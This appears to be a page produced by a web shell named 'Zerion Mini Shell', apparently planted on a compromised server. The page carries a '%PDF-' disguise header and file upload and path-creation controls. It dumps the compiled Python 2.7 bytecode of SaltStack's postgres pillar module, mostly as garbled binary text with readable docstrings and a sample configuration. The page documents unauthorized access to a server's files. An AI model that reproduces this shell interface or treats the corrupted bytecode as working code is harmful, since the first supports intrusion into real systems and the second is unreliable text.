%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/pillar/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/pillar/postgres.pyo

�
���^c@@s�dZddlmZmZmZddlmZddlZddlm	Z	ej
e�Zyddl
Z
eZWnek
r�eZnXd�Zde	fd��YZd	�ZdS(
u1
Retrieve Pillar data by doing a postgres query

.. versionadded:: 2017.7.0

:maturity: new
:depends: psycopg2
:platform: all

Complete Example
================

.. code-block:: yaml

    postgres:
      user: 'salt'
      pass: 'super_secret_password'
      db: 'salt_db'

    ext_pillar:
      - postgres:
          fromdb:
            query: 'SELECT col1,col2,col3,col4,col5,col6,col7
                      FROM some_random_table
                     WHERE minion_pattern LIKE %s'
            depth: 5
            as_list: True
            with_lists: [1,3]
i(tabsolute_importtprint_functiontunicode_literals(tcontextmanagerN(tSqlBaseExtPillarcC@sts
tStS(N(tHAS_POSTGREStFalsetTrue(((s8/usr/lib/python2.7/site-packages/salt/pillar/postgres.pyt__virtual__3stPOSTGRESExtPillarcB@s>eZdZed��Zd�Zed��Zd�ZRS(uL
    This class receives and processes the database rows from POSTGRES.
    cC@sdS(NuPOSTGRES((tcls((s8/usr/lib/python2.7/site-packages/salt/pillar/postgres.pyt_db_name=scC@s�idd6dd6dd6dd6dd6}i}tjd	i�}xL|D]D}||kr~tjd
|�||||<qHn||||<qHW|S(uC
        Returns options used for the POSTGRES connection.
        u	localhostuhostusaltuuserupassudbi8uportupostgresuUsing default for POSTGRES %s(t__opts__tgettlogtdebug(tselftdefaultst_optionst_optstattr((s8/usr/lib/python2.7/site-packages/salt/pillar/postgres.pyt_get_optionsAs


cc@s�|j�}tjd|dd|dd|dd|dd	|d
�}|j�}zFy|Vtjd�Wn)tjk
r�}tjd|j�nXWd
|j	�Xd
S(u)
        Yield a POSTGRES cursor
        thostuhosttuseruusertpasswordupasstdbnameudbtportuportuConnected to POSTGRES DBu Error in ext_pillar POSTGRES: %sN(
Rtpsycopg2tconnecttcursorRRt
DatabaseErrort	exceptiontargstclose(RRtconnRterr((s8/usr/lib/python2.7/site-packages/salt/pillar/postgres.pyt_get_cursorTs



cC@stt|�j||�S(u�
            This function normalizes the config block into a set of queries we
            can use.  The return is a list of consistently laid out dicts.
        (tsuperR	textract_queries(RR tkwargs((s8/usr/lib/python2.7/site-packages/salt/pillar/postgres.pyR&hs(	t__name__t
__module__t__doc__tclassmethodRRRR$R&(((s8/usr/lib/python2.7/site-packages/salt/pillar/postgres.pyR	9s
	cO@st�j||||�S(uF
    Execute queries against POSTGRES, merge and return as a dict
    (R	tfetch(t	minion_idtpillarR R'((s8/usr/lib/python2.7/site-packages/salt/pillar/postgres.pyt
ext_pillarps(R*t
__future__RRRt
contextlibRtloggingtsalt.pillar.sql_baseRt	getLoggerR(RRRRtImportErrorRRR	R/(((s8/usr/lib/python2.7/site-packages/salt/pillar/postgres.pyt<module>s


	7

Zerion Mini Shell 1.0